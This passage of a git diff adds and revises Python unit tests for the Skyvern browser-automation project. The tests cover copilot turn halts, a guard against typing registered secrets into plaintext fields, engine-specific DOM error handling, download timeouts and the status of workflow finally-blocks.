+ signal = _involuntary_loop_signal()
ctx = _consume_ctx(blocker_signal=signal)
- stash_repair_ceiling_turn_halt(ctx, signal, consecutive_identical_repair_count=3)
+ stash_turn_halt_from_blocker_signal(ctx, signal, source="enforcement")
with pytest.raises(CopilotTurnHalt):
raise_if_turn_halt(ctx, verified=False)
@@ -477,9 +476,9 @@ def test_unverified_involuntary_halt_still_raises() -> None:
def test_default_verified_argument_is_fail_safe_and_raises() -> None:
- signal = _involuntary_repair_ceiling_signal()
+ signal = _involuntary_loop_signal()
ctx = _consume_ctx(blocker_signal=signal)
- stash_repair_ceiling_turn_halt(ctx, signal, consecutive_identical_repair_count=3)
+ stash_turn_halt_from_blocker_signal(ctx, signal, source="enforcement")
with pytest.raises(CopilotTurnHalt):
raise_if_turn_halt(ctx)
@@ -652,16 +651,6 @@ def test_terminal_stash_choke_point_claims_genuinely_terminal() -> None:
assert TurnClaimant.GENUINELY_TERMINAL in ctx.turn_ownership.claims
-def test_repair_ceiling_stash_choke_point_claims_genuinely_terminal() -> None:
- ctx = make_copilot_context()
- signal = _involuntary_repair_ceiling_signal()
-
- stash_repair_ceiling_turn_halt(ctx, signal, consecutive_identical_repair_count=3)
-
- assert ctx.turn_ownership is not None
- assert TurnClaimant.GENUINELY_TERMINAL in ctx.turn_ownership.claims
-
-
def test_raise_if_turn_halt_retires_halt_outranked_by_live_ladder() -> None:
ctx = make_copilot_context()
loop_signal = _signal(blocker_kind="loop_detected", internal_reason_code="loop_detected_generic")
diff --git a/tests/unit/test_copilot_typed_value_policy.py b/tests/unit/test_copilot_typed_value_policy.py
index 3b8237b18..274c68709 100644
--- a/tests/unit/test_copilot_typed_value_policy.py
+++ b/tests/unit/test_copilot_typed_value_policy.py
@@ -71,3 +71,89 @@ def test_type_text_rejection_allows_benign_secret_word_search_phrases() -> None:
assert should_reject_type_text_value(value="2fa setup", selector="#search", intent="search help") is False
assert should_reject_type_text_value(value="password", selector="#search", intent="search catalog") is True
assert should_reject_type_text_value(value="password manager", selector="input[type=password]", intent="") is True
+
+
+async def test_type_text_refuses_a_value_already_registered_as_a_credential() -> None:
+ """A real password need not look like one, and this one reached a plaintext username field.
+ The value is known to be secret because a credential fill registered it."""
+ ctx = SimpleNamespace(
+ organization_id="o",
+ browser_session_id=None,
+ pending_scout_source_url=None,
+ pending_scout_typed_value=None,
+ block_authoring_policy=BlockAuthoringPolicy.CODE_ONLY_BROWSER,
+ secret_scrub_values=["Tuesday Harbor 41"],
+ )
+
+ rejected = await _type_text_pre_hook({"selector": "#username", "text": "Tuesday Harbor 41"}, ctx)
+
+ assert rejected is not None
+ assert rejected["ok"] is False
+ assert "Tuesday Harbor 41" not in rejected["error"]
+ assert ctx.pending_scout_typed_value is None
+
+
+async def test_code_block_schema_carries_the_steps_already_demonstrated() -> None:
+ """The synthesizer that checks a draft against the demonstrated steps also answers what to
+ write, so the block is authored from the trajectory instead of corrected against it."""
+ from skyvern.forge.sdk.copilot.tools.mcp_hooks import _get_block_schema_post_hook
+
+ ctx = SimpleNamespace(
+ block_authoring_policy=BlockAuthoringPolicy.CODE_ONLY_BROWSER,
+ code_only_code_schema_seen=False,
+ reached_download_target=None,
+ scout_trajectory=[
+ {"tool_name": "click", "selector": 'button[aria-label="Log in"]', "source_url": "https://example.com/a"}
+ ],
+ )
+
+ result = await _get_block_schema_post_hook({"data": {"block_type": "code"}}, {}, ctx)
+
+ demonstrated = result["data"]["demonstrated_steps"]
+ assert "aria-label=" in demonstrated and "Log in" in demonstrated
+ assert ".click()" in demonstrated
+
+
+async def test_demonstrated_steps_match_the_synthesis_the_draft_is_judged_against() -> None:
+ """The payload is only worth reading if it is the source the judge compares the draft to.
+ Synthesized with different arguments it is a laxer variant, and authoring from it reproduces
+ the correction round-trip this exists to remove."""
+ from skyvern.forge.sdk.copilot.code_block_synthesis import synthesize_code_block
+ from skyvern.forge.sdk.copilot.tools.mcp_hooks import _get_block_schema_post_hook
+
+ trajectory = [
+ {"tool_name": "click", "selector": 'button[aria-label="Log in"]', "source_url": "https://example.com/a"},
+ {"tool_name": "click", "selector": "button", "source_url": "https://example.com/a"},
+ {"tool_name": "press_key", "key": "Enter", "source_url": "https://example.com/a"},
+ ]
+ ctx = SimpleNamespace(
+ block_authoring_policy=BlockAuthoringPolicy.CODE_ONLY_BROWSER,
+ code_only_code_schema_seen=False,
+ reached_download_target=None,
+ scout_trajectory=list(trajectory),
+ )
+
+ result = await _get_block_schema_post_hook({"data": {"block_type": "code"}}, {}, ctx)
+
+ judged = synthesize_code_block(list(trajectory), strict_selectors=True, reached_download_target=None)
+ assert judged is not None
+ assert result["data"]["demonstrated_steps"] == judged.code
+
+
+async def test_code_block_schema_omits_demonstrated_steps_before_anything_is_demonstrated() -> None:
+ from skyvern.forge.sdk.copilot.tools.mcp_hooks import _get_block_schema_post_hook
+
+ ctx = SimpleNamespace(
+ block_authoring_policy=BlockAuthoringPolicy.CODE_ONLY_BROWSER,
+ code_only_code_schema_seen=False,
+ reached_download_target=None,
+ scout_trajectory=[],
+ )
+
+ result = await _get_block_schema_post_hook({"data": {"block_type": "code"}}, {}, ctx)
+
+ assert "demonstrated_steps" not in result["data"]
diff --git a/tests/unit/test_credential_fallback.py b/tests/unit/test_credential_fallback.py
index 8d19986b8..93f531b03 100644
--- a/tests/unit/test_credential_fallback.py
+++ b/tests/unit/test_credential_fallback.py
@@ -912,6 +912,48 @@ async def test_clean_up_workflow_schedules_credential_fallback_retry() -> None:
service._schedule_credential_fallback_retry.assert_called_once_with(workflow_run)
+async def test_clean_up_workflow_preserves_body_success_without_retrying_finally_failure() -> None:
+ service = WorkflowService()
+ workflow_run = _workflow_run(failure_category=[{"category": "AUTH_FAILURE"}])
+ workflow = _workflow([])
+ service._schedule_credential_fallback_retry = MagicMock() # type: ignore[method-assign]
+ service.persist_video_data = AsyncMock() # type: ignore[method-assign]
+ persist_browser_session = AsyncMock()
+ service._persist_workflow_browser_session_if_needed = persist_browser_session # type: ignore[method-assign]
+ browser_cleanup_result = SimpleNamespace(
+ browser_state=object(),
+ tasks=[],
+ all_workflow_task_ids=[],
+ child_workflow_run_ids=[],
+ close_browser_on_completion=True,
+ browser_session_write_back_attempted=False,
+ )
+
+ with (
+ patch("skyvern.forge.sdk.workflow.service.app") as mock_app,
+ patch("skyvern.forge.sdk.workflow.service.analytics") as mock_analytics,
+ ):
+ mock_analytics.capture = MagicMock()
+ mock_app.ARTIFACT_MANAGER.wait_for_upload_aiotasks = AsyncMock()
+ mock_app.STORAGE.save_downloaded_files = AsyncMock()
+ mock_app.WORKFLOW_CONTEXT_MANAGER.remove_workflow_run_context = MagicMock()
+
+ await service.clean_up_workflow(
+ workflow=workflow,
+ workflow_run=workflow_run,
+ need_call_webhook=False,
+ browser_cleanup_result=browser_cleanup_result, # type: ignore[arg-type]
+ browser_persistence_status=WorkflowRunStatus.completed,
+ schedule_credential_fallback_retry=False,
+ )
+
+ persist_browser_session.assert_awaited_once()
+ assert persist_browser_session.await_args is not None
+ assert persist_browser_session.await_args.kwargs["workflow_run_status"] == WorkflowRunStatus.completed
+ service._schedule_credential_fallback_retry.assert_not_called()
+
+
@pytest.mark.asyncio
async def test_clean_up_workflow_schedules_retry_even_when_webhook_raises() -> None:
# The schedule lives in the finally block: a webhook-preparation failure must not swallow the
diff --git a/tests/unit/test_dom_engine_error_migration.py b/tests/unit/test_dom_engine_error_migration.py
new file mode 100644
index 000000000..31f29c9c3
--- /dev/null
+++ b/tests/unit/test_dom_engine_error_migration.py
@@ -0,0 +1,291 @@
+"""Selected-engine error-identity migration for ``skyvern/webeye/utils/dom.py`` (RUS-5 / SKY-12007).
+
+The DOM catch sites historically keyed on stock Playwright's ``Error`` / ``TimeoutError`` classes. A
+run pinned to a non-Playwright engine raises class-disjoint natives, so those ``except`` clauses would
+stop firing and the typed translations (``MissingElement``, ``InvalidElementForTextInput``) would
+silently degrade. These tests pin the two contracts: with no selection the stock identity is preserved
+exactly, and with a selection the run's own engine natives are recognised while a foreign engine's
+natives propagate untranslated.
+"""
+
+from __future__ import annotations
+
+from unittest.mock import AsyncMock, MagicMock
+
+import pytest
+from playwright.async_api import Error as PlaywrightError
+from playwright.async_api import TimeoutError as PlaywrightTimeoutError
+
+from skyvern.exceptions import InvalidElementForTextInput, MissingElement
+from skyvern.webeye.browser_engine import BrowserEngineMetadata, BrowserEngineSelection
+from skyvern.webeye.utils.dom import (
+ DomUtil,
+ SkyvernElement,
+ resolve_locator,
+)
+
+_DETACHED = "Element is not attached to the DOM"
+_FRAME_DETACHED = "Frame was detached"
+_NOT_INPUT = "Element is not an <input>, <textarea> or [contenteditable] element"
+_TIMEOUT = "Timeout 30000ms exceeded"
+
+
+class _EngineError(Exception):
+ pass
+
+
+class _EngineTimeout(_EngineError):
+ pass
+
+
+class _ForeignError(Exception):
+ pass
+
+
+class _ForeignTimeout(_ForeignError):
+ pass
+
+
+async def _never_start() -> None: # pragma: no cover - selection is never provisioned in these tests
+ raise AssertionError("start_driver must not be awaited")
+
+
+def _selection() -> BrowserEngineSelection:
+ return BrowserEngineSelection(
+ name="synthetic",
+ start_driver=_never_start,
+ error_type=_EngineError,
+ timeout_error_type=_EngineTimeout,
+ metadata=BrowserEngineMetadata(name="synthetic", version="0.0.0"),
+ selection_reason="test",
+ )
+
+
+def _element(
+ tag_name: str,
+ locator: MagicMock,
+ *,
+ engine_selection: BrowserEngineSelection | None = None,
+) -> SkyvernElement:
+ return SkyvernElement(
+ locator,
+ MagicMock(),
+ {"id": "el-1", "tagName": tag_name},
+ engine_selection=engine_selection,
+ )
+
+
+# --- input_fill: incompatible-node translation (typed contract) ---
+
+
+async def test_input_fill_stock_fallback_classifies_playwright_error() -> None:
+ locator = MagicMock()
+ locator.fill = AsyncMock(side_effect=PlaywrightError(_NOT_INPUT))
+ with pytest.raises(InvalidElementForTextInput):
+ await _element("a", locator).input_fill("hello")
+
+
+async def test_input_fill_stock_fallback_reraises_unrelated_playwright_error() -> None:
+ locator = MagicMock()
+ locator.fill = AsyncMock(side_effect=PlaywrightError(_TIMEOUT))
+ with pytest.raises(PlaywrightError):
+ await _element("input", locator).input_fill("hello")
+
+
+async def test_input_fill_classifies_selected_engine_error() -> None:
+ locator = MagicMock()
+ locator.fill = AsyncMock(side_effect=_EngineError(_NOT_INPUT))
+ with pytest.raises(InvalidElementForTextInput):
+ await _element("a", locator, engine_selection=_selection()).input_fill("hello")
+
+
+async def test_input_fill_propagates_foreign_engine_error_untranslated() -> None:
+ locator = MagicMock()
+ locator.fill = AsyncMock(side_effect=_ForeignError(_NOT_INPUT))
+ with pytest.raises(_ForeignError):
+ await _element("a", locator, engine_selection=_selection()).input_fill("hello")
+
+
+# --- input_clear: incompatible-node translation (typed contract) ---
+
+
+async def test_input_clear_classifies_selected_engine_error(monkeypatch: pytest.MonkeyPatch) -> None:
+ async def _raise(*args: object, **kwargs: object) -> None:
+ raise _EngineError(_NOT_INPUT)
+
+ monkeypatch.setattr("skyvern.webeye.utils.dom.EventStrategyFactory.clear_field", _raise)
+ with pytest.raises(InvalidElementForTextInput):
+ await _element("button", MagicMock(), engine_selection=_selection()).input_clear()
+
+
+async def test_input_clear_propagates_foreign_engine_error(monkeypatch: pytest.MonkeyPatch) -> None:
+ async def _raise(*args: object, **kwargs: object) -> None:
+ raise _ForeignError(_NOT_INPUT)
+
+ monkeypatch.setattr("skyvern.webeye.utils.dom.EventStrategyFactory.clear_field", _raise)
+ with pytest.raises(_ForeignError):
+ await _element("button", MagicMock(), engine_selection=_selection()).input_clear()
+
+
+# --- _safe_match_count: detached-node tolerance ---
+
+
+async def test_safe_match_count_stock_fallback_swallows_detached() -> None:
+ locator = MagicMock()
+ locator.count = AsyncMock(side_effect=PlaywrightError(_DETACHED))
+ assert await _element("input", MagicMock())._safe_match_count(locator) == 0
+
+
+async def test_safe_match_count_swallows_selected_engine_detached() -> None:
+ locator = MagicMock()
+ locator.count = AsyncMock(side_effect=_EngineError(_FRAME_DETACHED))
+ element = _element("input", MagicMock(), engine_selection=_selection())
+ assert await element._safe_match_count(locator) == 0
+
+
+async def test_safe_match_count_reraises_selected_engine_non_detached() -> None:
+ locator = MagicMock()
+ locator.count = AsyncMock(side_effect=_EngineError(_TIMEOUT))
+ element = _element("input", MagicMock(), engine_selection=_selection())
+ with pytest.raises(_EngineError):
+ await element._safe_match_count(locator)
+
+
+async def test_safe_match_count_propagates_foreign_engine_error() -> None:
+ locator = MagicMock()
+ locator.count = AsyncMock(side_effect=_ForeignError(_DETACHED))
+ element = _element("input", MagicMock(), engine_selection=_selection())
+ with pytest.raises(_ForeignError):
+ await element._safe_match_count(locator)
+
+
+# --- input_sequentially: typing-timeout classification ---
+
+
+async def test_input_sequentially_classifies_selected_engine_timeout(monkeypatch: pytest.MonkeyPatch) -> None:
+ locator = MagicMock()
+ locator.count = AsyncMock(return_value=0)
+ element = _element("input", locator, engine_selection=_selection())
+
+ async def _raise(*args: object, **kwargs: object) -> None:
+ raise _EngineTimeout(_TIMEOUT)
+
+ monkeypatch.setattr("skyvern.webeye.utils.dom.handler_utils.input_sequentially", _raise)
+ with pytest.raises(MissingElement):
+ await element.input_sequentially("hello")
+
+
+async def test_input_sequentially_propagates_foreign_timeout(monkeypatch: pytest.MonkeyPatch) -> None:
+ locator = MagicMock()
+ locator.count = AsyncMock(return_value=1)
+ element = _element("input", locator, engine_selection=_selection())
+
+ async def _raise(*args: object, **kwargs: object) -> None:
+ raise _ForeignTimeout(_TIMEOUT)
+
+ monkeypatch.setattr("skyvern.webeye.utils.dom.handler_utils.input_sequentially", _raise)
+ with pytest.raises(_ForeignTimeout):
+ await element.input_sequentially("hello")
+
+
+async def test_input_sequentially_stock_fallback_reraises_after_classify(monkeypatch: pytest.MonkeyPatch) -> None:
+ locator = MagicMock()
+ locator.count = AsyncMock(return_value=1)
+ element = _element("input", locator)
+
+ async def _raise(*args: object, **kwargs: object) -> None:
+ raise PlaywrightTimeoutError(_TIMEOUT)
+
+ monkeypatch.setattr("skyvern.webeye.utils.dom.handler_utils.input_sequentially", _raise)
+ with pytest.raises(PlaywrightTimeoutError):
+ await element.input_sequentially("hello")
+
+
+# --- resolve_locator: detached-iframe translation ---
+
+
+async def test_resolve_locator_translates_selected_engine_detach_to_missing_element() -> None:
+ frame_handler = MagicMock()
+ frame_handler.content_frame = AsyncMock(side_effect=_EngineError(_FRAME_DETACHED))
+ page = MagicMock()
+ page.query_selector = AsyncMock(return_value=frame_handler)
+
+ scrape_page = MagicMock()
+ scrape_page.id_to_element_dict = {"child": {"frame": "main.frame"}}
+
+ with pytest.raises(MissingElement):
+ await resolve_locator(scrape_page, page, "child", "css", engine_selection=_selection())
+
+
+async def test_resolve_locator_propagates_foreign_engine_detach() -> None:
+ frame_handler = MagicMock()
+ frame_handler.content_frame = AsyncMock(side_effect=_ForeignError(_FRAME_DETACHED))
+ page = MagicMock()
+ page.query_selector = AsyncMock(return_value=frame_handler)
+
+ scrape_page = MagicMock()
+ scrape_page.id_to_element_dict = {"child": {"frame": "main.frame"}}
+
+ with pytest.raises(_ForeignError):
+ await resolve_locator(scrape_page, page, "child", "css", engine_selection=_selection())
+
+
+# --- wiring: the selection reaches the element without touching call sites ---
+
+
+async def test_create_from_incremental_inherits_engine_selection() -> None:
+ selection = _selection()
+ incre = MagicMock()
+ incre.engine_selection = selection
+ incre.id_to_element_dict = {"el-1": {"id": "el-1", "tagName": "input"}}
+ incre.id_to_css_dict = {"el-1": "css-1"}
+ frame = MagicMock()
+ locator = MagicMock()
+ locator.count = AsyncMock(return_value=1)
+ frame.locator = MagicMock(return_value=locator)
+ incre.skyvern_frame.get_frame = MagicMock(return_value=frame)
+
+ element = await SkyvernElement.create_from_incremental(incre, "el-1")
+
+ locator.fill = AsyncMock(side_effect=_EngineError(_NOT_INPUT))
+ with pytest.raises(InvalidElementForTextInput):
+ await element.input_fill("hello")
+
+
+def test_dom_util_derives_engine_selection_from_scraped_page() -> None:
+ from skyvern.webeye.scraper.scraped_page import ScrapedPage
+
+ selection = _selection()
+ scraped_page = MagicMock(spec=ScrapedPage)
+ scraped_page._browser_state = MagicMock()
+ scraped_page._browser_state.engine_selection = selection
+
+ dom = DomUtil(scraped_page=scraped_page, page=MagicMock())
+ assert dom.engine_selection is selection
+
+
+def test_dom_util_ignores_non_scraped_page_for_derivation() -> None:
+ dom = DomUtil(scraped_page=MagicMock(), page=MagicMock())
+ assert dom.engine_selection is None
+
+
+def test_dom_util_explicit_engine_selection_wins() -> None:
+ selection = _selection()
+ dom = DomUtil(scraped_page=MagicMock(), page=MagicMock(), engine_selection=selection)
+ assert dom.engine_selection is selection
diff --git a/tests/unit/test_download_file_action_handler.py b/tests/unit/test_download_file_action_handler.py
index 9e3e502be..9a84b5998 100644
--- a/tests/unit/test_download_file_action_handler.py
+++ b/tests/unit/test_download_file_action_handler.py
@@ -33,6 +33,12 @@ from skyvern.webeye.cdp_download_interceptor import CDPDownloadInterceptor
from skyvern.webeye.scraper.scraped_page import ScrapedPage
from tests.unit.helpers import make_organization, make_step, make_task
+# One second is only a test-side runaway guard. The behavior under test is
+# asserted through configured timeout values, cleanup, and span attributes
+# below; it tolerates the hundreds of ms a loaded CI runner can delay a
+# completed coroutine without turning scheduling latency into a product failure.
+CI_TEST_RUNAWAY_TIMEOUT_SECONDS = 1.0
+
class _EventEmitter:
def __init__(self, context: object = None, url: str = "https://example.test/files") -> None:
@@ -789,7 +795,7 @@ async def test_handle_action_timeout_bounds_browser_download_handler_drain(
timeout=0.5,
)
- assert time.monotonic() - started_at < 0.2
+ assert time.monotonic() - started_at < CI_TEST_RUNAWAY_TIMEOUT_SECONDS
assert not interceptor._browser_download_tasks
@@ -849,7 +855,7 @@ async def test_handle_action_download_completion_may_exceed_signal_budget(
elapsed = time.monotonic() - started_at
assert elapsed >= 0.05
- assert elapsed < 0.5
+ assert elapsed < CI_TEST_RUNAWAY_TIMEOUT_SECONDS
assert results[-1].download_triggered is True
assert results[-1].downloaded_files == ["report.pdf"]
@@ -1152,9 +1158,8 @@ async def test_handle_action_download_completion_budget_bounds_hanging_settle(
elapsed = time.monotonic() - started_at
- # Proves the 0.03s download budget raised, not the 5s wait_for safety net;
- # the bound is loose because loaded CI runners add hundreds of ms of lag.
- assert elapsed < 1.0
+ # Proves the 0.03s download budget raised, not the 5s wait_for safety net.
+ assert elapsed < CI_TEST_RUNAWAY_TIMEOUT_SECONDS
def test_remove_download_listener_uses_playwright_remove_listener_when_off_unavailable() -> None:
@@ -1788,7 +1793,7 @@ async def test_handle_action_download_no_signal_fails_fast(span_exporter: InMemo
)
elapsed = time.monotonic() - started_at
- assert elapsed < 1.0
+ assert elapsed < CI_TEST_RUNAWAY_TIMEOUT_SECONDS
assert results[-1].download_triggered is False
assert action.download_triggered is False
assert results[-1].needs_followup is True
@@ -1935,7 +1940,7 @@ async def test_handle_action_download_fails_on_transient_user_defined_error_text
)
elapsed = time.monotonic() - started_at
- assert elapsed < 1.0
+ assert elapsed < CI_TEST_RUNAWAY_TIMEOUT_SECONDS
assert isinstance(results[-1], ActionFailure)
assert results[-1].download_triggered is False
assert "download failure says the generated archive could not be saved" in (results[-1].exception_message or "")
@@ -2327,7 +2332,7 @@ async def test_handle_action_download_in_flight_request_does_not_extend_custom_t
)
elapsed = time.monotonic() - started_at
- assert elapsed < 0.1
+ assert elapsed < CI_TEST_RUNAWAY_TIMEOUT_SECONDS
assert results[-1].download_triggered is False
assert action.download_triggered is False
span_attrs = _download_wait_span_attrs(span_exporter)
@@ -2389,9 +2394,7 @@ async def test_handle_action_download_without_explicit_timeout_has_bounded_in_fl
)
elapsed = time.monotonic() - started_at
- # Keep a generous wall-clock runaway guard for loaded CI runners; the
- # precise logical deadline is asserted via timeout_seconds below.
- assert 0.03 <= elapsed < 1.0
+ assert 0.03 <= elapsed < CI_TEST_RUNAWAY_TIMEOUT_SECONDS
assert results[-1].download_triggered is False
span_attrs = _download_wait_span_attrs(span_exporter)
assert span_attrs["no_signal_grace_seconds"] == 0.01
@@ -2904,7 +2907,7 @@ async def test_handle_action_stops_after_download_event_fallback_failure(
)
elapsed = time.monotonic() - started_at
- assert elapsed < 1.0
+ assert elapsed < CI_TEST_RUNAWAY_TIMEOUT_SECONDS
assert results[-1].download_triggered is False
assert action.download_triggered is False
assert wait_for_downloads.await_count == 0
diff --git a/tests/unit/test_finally_block_status.py b/tests/unit/test_finally_block_status.py
new file mode 100644
index 000000000..d5811f0ea
--- /dev/null
+++ b/tests/unit/test_finally_block_status.py
@@ -0,0 +1,426 @@
+from types import SimpleNamespace
+from unittest.mock import AsyncMock, Mock
+
+import pytest
+
+from skyvern.forge.sdk.workflow import service as service_module
+from skyvern.forge.sdk.workflow.models.workflow import WorkflowRunStatus
+from skyvern.forge.sdk.workflow.service import WorkflowService
+from skyvern.schemas.workflows import BlockResult, BlockStatus
+
+
+def _block(*, continue_on_failure: bool = False, block_type: str = "cloud_storage") -> SimpleNamespace:
+ return SimpleNamespace(
+ block_type=block_type,
+ label="upload_results",
+ continue_on_failure=continue_on_failure,
+ output_parameter=object(),
+ )
+
+
+def _block_result(
+ status: BlockStatus,
+ *,
+ failure_reason: str | None = None,
+) -> SimpleNamespace:
+ return SimpleNamespace(
+ status=status,
+ failure_reason=failure_reason,
+ output_parameter_value=None,
+ )
+
+
+def _workflow_run(
+ status: WorkflowRunStatus,
+ *,
+ failure_reason: str | None = None,
+) -> SimpleNamespace:
+ return SimpleNamespace(
+ workflow_run_id="wr_test",
+ status=status,
+ failure_reason=failure_reason,
+ )
+
+
+async def test_execute_finally_block_returns_block_result(monkeypatch: pytest.MonkeyPatch) -> None:
+ block_result = _block_result(BlockStatus.failed, failure_reason="upload failed")
+ block = _block()
+ block.get_all_parameters = Mock(return_value=[])
+ block.execute_safe = AsyncMock(return_value=block_result)
+ workflow = SimpleNamespace(
+ workflow_definition=SimpleNamespace(
+ finally_block_label=block.label,
+ blocks=[block],
+ )
+ )
+ workflow_run = _workflow_run(WorkflowRunStatus.completed)
+ organization = SimpleNamespace(organization_id="org_test")
+ register_parameters = AsyncMock()
+ monkeypatch.setattr(
+ service_module.app,
+ "WORKFLOW_CONTEXT_MANAGER",
+ SimpleNamespace(register_block_parameters_for_workflow_run=register_parameters),
+ )
+
+ result = await WorkflowService()._execute_finally_block_if_configured(
+ workflow=workflow,
+ workflow_run=workflow_run,
+ organization=organization,
+ browser_session_id=None,
+ )
+
+ assert result == (block, block_result)
+ register_parameters.assert_awaited_once_with("wr_test", [], organization)
+
+
+async def test_execute_finally_block_converts_exception_to_failed_result(
+ monkeypatch: pytest.MonkeyPatch,
+) -> None:
+ block = _block()
+ block.get_all_parameters = Mock(return_value=[])
+ block.execute_safe = AsyncMock(side_effect=RuntimeError("upload exploded"))
+ workflow = SimpleNamespace(
+ workflow_definition=SimpleNamespace(
+ finally_block_label=block.label,
+ blocks=[block],
+ )
+ )
+ workflow_run = _workflow_run(WorkflowRunStatus.completed)
+ organization = SimpleNamespace(organization_id="org_test")
+ monkeypatch.setattr(
+ service_module.app,
+ "WORKFLOW_CONTEXT_MANAGER",
+ SimpleNamespace(register_block_parameters_for_workflow_run=AsyncMock()),
+ )
+
+ result = await WorkflowService()._execute_finally_block_if_configured(
+ workflow=workflow,
+ workflow_run=workflow_run,
+ organization=organization,
+ browser_session_id=None,
+ )
+
+ assert result is not None
+ returned_block, block_result = result
+ assert returned_block is block
+ assert isinstance(block_result, BlockResult)
+ assert block_result.success is False
+ assert block_result.status == BlockStatus.failed
+ assert block_result.failure_reason == "Unexpected error: upload exploded"
+
+
+async def test_failed_finally_block_fails_successful_workflow(monkeypatch: pytest.MonkeyPatch) -> None:
+ workflow_run = _workflow_run(WorkflowRunStatus.running)
+ failed_run = _workflow_run(
+ WorkflowRunStatus.failed,
+ failure_reason="cloud_storage block failed. failure reason: upload failed",
+ )
+ service = WorkflowService()
+ conditional_failure = AsyncMock(return_value=failed_run)
+ monkeypatch.setattr(service, "_update_workflow_run_status_if_not_final", conditional_failure)
+
+ result_run, final_status, failure_reason = await service._apply_finally_block_result(
+ block=_block(continue_on_failure=False),
+ block_result=_block_result(BlockStatus.failed, failure_reason="upload failed"),
+ workflow_run=workflow_run,
+ pre_finally_status=WorkflowRunStatus.running,
+ pre_finally_failure_reason=None,
+ )
+
+ assert result_run is failed_run
+ assert final_status == WorkflowRunStatus.failed
+ assert failure_reason == failed_run.failure_reason
+ conditional_failure.assert_awaited_once()
+ assert conditional_failure.await_args is not None
+ assert conditional_failure.await_args.kwargs["workflow_run_id"] == "wr_test"
+ assert conditional_failure.await_args.kwargs["status"] == WorkflowRunStatus.failed
+ assert (
+ conditional_failure.await_args.kwargs["failure_reason"]
+ == "cloud_storage block failed. failure reason: upload failed"
+ )
+
+
+async def test_timed_out_finally_block_can_finalize_paused_workflow(monkeypatch: pytest.MonkeyPatch) -> None:
+ paused_run = _workflow_run(WorkflowRunStatus.paused)
+ failed_run = _workflow_run(
+ WorkflowRunStatus.failed,
+ failure_reason="human_interaction block timed out. Reason: human interaction timed out",
+ )
+ service = WorkflowService()
+ conditional_failure = AsyncMock(return_value=failed_run)
+ monkeypatch.setattr(service, "_update_workflow_run_status_if_not_final", conditional_failure)
+
+ result_run, final_status, failure_reason = await service._apply_finally_block_result(
+ block=_block(block_type="human_interaction"),
+ block_result=_block_result(BlockStatus.timed_out, failure_reason="human interaction timed out"),
+ workflow_run=paused_run,
+ pre_finally_status=WorkflowRunStatus.running,
+ pre_finally_failure_reason=None,
+ )
+
+ assert result_run is failed_run
+ assert final_status == WorkflowRunStatus.failed
+ assert failure_reason == failed_run.failure_reason
+ conditional_failure.assert_awaited_once()
+ assert conditional_failure.await_args is not None
+ assert conditional_failure.await_args.kwargs["status"] == WorkflowRunStatus.failed
+
+
+async def test_deferred_finally_outcome_applies_to_refreshed_paused_run(
+ monkeypatch: pytest.MonkeyPatch,
+) -> None:
+ paused_run = _workflow_run(WorkflowRunStatus.paused)
+ failed_run = _workflow_run(
+ WorkflowRunStatus.failed,
+ failure_reason="human_interaction block timed out. Reason: human interaction timed out",
+ )
+ service = WorkflowService()
+ conditional_failure = AsyncMock(return_value=failed_run)
+ monkeypatch.setattr(service, "_update_workflow_run_status_if_not_final", conditional_failure)
+
+ result = await service._finalize_workflow_run_status(
+ workflow_run_id="wr_test",
+ workflow_run=paused_run,
+ pre_finally_status=WorkflowRunStatus.failed,
+ pre_finally_failure_reason=failed_run.failure_reason,
+ )
+
+ assert result is failed_run
+ conditional_failure.assert_awaited_once()
+ assert conditional_failure.await_args is not None
+ assert conditional_failure.await_args.kwargs["status"] == WorkflowRunStatus.failed
+
+
+async def test_failed_continue_on_failure_finally_block_preserves_success(
+ monkeypatch: pytest.MonkeyPatch,
+) -> None:
+ workflow_run = _workflow_run(WorkflowRunStatus.running)
+ service = WorkflowService()
+ mark_failed = AsyncMock()
+ monkeypatch.setattr(service, "mark_workflow_run_as_failed", mark_failed)
+
+ result_run, final_status, failure_reason = await service._apply_finally_block_result(
+ block=_block(continue_on_failure=True),
+ block_result=_block_result(BlockStatus.failed, failure_reason="upload failed"),
+ workflow_run=workflow_run,
+ pre_finally_status=WorkflowRunStatus.running,
+ pre_finally_failure_reason=None,
+ )
+
+ assert result_run is workflow_run
+ assert final_status == WorkflowRunStatus.running
+ assert failure_reason is None
+ mark_failed.assert_not_awaited()
+
+
+async def test_canceled_finally_block_ignores_continue_on_failure(monkeypatch: pytest.MonkeyPatch) -> None:
+ running_run = _workflow_run(WorkflowRunStatus.running)
+ canceled_run = _workflow_run(WorkflowRunStatus.canceled)
+ service = WorkflowService()
+ conditional_cancel = AsyncMock(return_value=canceled_run)
+ monkeypatch.setattr(service, "_update_workflow_run_status_if_not_final", conditional_cancel)
+
+ result_run, final_status, failure_reason = await service._apply_finally_block_result(
+ block=_block(continue_on_failure=True),
+ block_result=_block_result(BlockStatus.canceled),
+ workflow_run=running_run,
+ pre_finally_status=WorkflowRunStatus.running,
+ pre_finally_failure_reason=None,
+ )
+
+ assert result_run is canceled_run
+ assert final_status == WorkflowRunStatus.canceled
+ assert failure_reason is None
+ conditional_cancel.assert_awaited_once()
+ assert conditional_cancel.await_args is not None
+ assert conditional_cancel.await_args.kwargs["status"] == WorkflowRunStatus.canceled
+
+
+ ("block_status", "workflow_status", "block_failure_reason", "workflow_failure_reason"),
+ [
+ (
+ BlockStatus.timed_out,
+ WorkflowRunStatus.failed,
+ "upload timed out",
+ "cloud_storage block timed out. Reason: upload timed out",
+ ),
+ (
+ BlockStatus.terminated,
+ WorkflowRunStatus.terminated,
+ "upload terminated",
+ "cloud_storage block terminated. Reason: upload terminated",
+ ),
+ ],
+)
+async def test_nonrecoverable_finally_block_sets_workflow_outcome(
+ monkeypatch: pytest.MonkeyPatch,
+ block_status: BlockStatus,
+ workflow_status: WorkflowRunStatus,
+ block_failure_reason: str,
+ workflow_failure_reason: str,
+) -> None:
+ running_run = _workflow_run(WorkflowRunStatus.running)
+ terminal_run = _workflow_run(
+ workflow_status,
+ failure_reason=workflow_failure_reason,
+ )
+ service = WorkflowService()
+ conditional_update = AsyncMock(return_value=terminal_run)
+ monkeypatch.setattr(service, "_update_workflow_run_status_if_not_final", conditional_update)
+
+ result_run, final_status, failure_reason = await service._apply_finally_block_result(
+ block=_block(),
+ block_result=_block_result(block_status, failure_reason=block_failure_reason),
+ workflow_run=running_run,
+ pre_finally_status=WorkflowRunStatus.running,
+ pre_finally_failure_reason=None,
+ )
+
+ assert result_run is terminal_run
+ assert final_status == workflow_status
+ assert failure_reason == workflow_failure_reason
+ conditional_update.assert_awaited_once()
+ assert conditional_update.await_args is not None
